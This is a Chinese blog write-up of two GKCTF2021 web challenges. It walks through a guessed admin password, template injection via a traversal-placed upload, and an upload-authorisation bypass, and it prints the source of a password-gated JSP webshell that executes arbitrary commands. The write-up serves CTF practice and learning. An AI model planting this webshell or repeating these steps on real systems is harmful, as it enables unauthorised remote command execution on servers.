菜鸟随笔-GKCTF2021


上去练了下手,发现自己不会几道题

又一个拉跨的web手诞生了

GKCTF2021

web1-easycms

web方向的签到题,虽然卡了好几步,但真的简单

弱口令

进入页面,简单找了一下,首页没什么信息

测试发现后台为admin.php

image-20210626190255092

虽然没有验证码,但这道题输入错误三次就会锁住三分钟,无法进行爆破

靠猜测可知用户名admin,密码12345

模板注入

进入后台,在设计位置可以看到一个首页模板,如果可以写入命令或者一句话,我们就可以得到flag

这个思路是一次awd给我的启发,当然,网上也有文章提到了这个漏洞

链接:http://www.yidianzixun.com/article/0J0BhinZ

直接往模板写,提示需要创建cwqe.txt文件

image-20210626204300084

找找有没有可以文件上传的地方

找了一会,发现素材库位置不但可以上传文件,还可以改路径,完美符合要求

image-20210626204600943

上传

image-20210626205208461

用目录穿越将文件定位到指定的目录

image-20210626205322771

保存成功,当然我第一次做这题先后要求了两个目录,用一样的手法上传即可

回到首页,首页已经乱码,执行我们的一句话即可

image-20210626205422342

image-20210626205637732

拿到flag

babycat

这道题,我不会

这道题是w4师傅告诉了我非预期,所以我复现了一下,聊以练手

json格式注册登录

进入网站,一个注册一个登录,而且注册页面一片空白

image-20210626211235280

抓包看看什么情况

image-20210626211402642

告诉我们上传格式是data=”json格式的数据”,直接构造payload

data={"username":"test","password":"test"}

image-20210626211651217

注册成功

image-20210626211812732

登录进去有四个链接和一只呆猫

这里主要有两个地方需要注意,一个是upload,一个是Download Test

upload可以上传文件,Download Test 可以任意文件读取

但upload必须以管理员身份登录才可以访问,而非预期,绕过了这个限制

post绕过身份验证上传文件

任意文件读取就不提了,非预期用不到

当然这么说也不对,这个非预期,是将源码用任意文件读取dump下来审计后审出来的

这里就直接说用法,所以不用任意文件读取了,想学习预期解,请认准出题人w4

这里先使用postman进入到upload,并上传木马文件

<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"); } %>

image-20210627091759686

上传同时抓包

然后改路径

image-20210627091822230

路径随意,可读取即可

image-20210627092109632

命令执行成功,怎么拿flag应该不用我多说,读取/readflag即可


文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录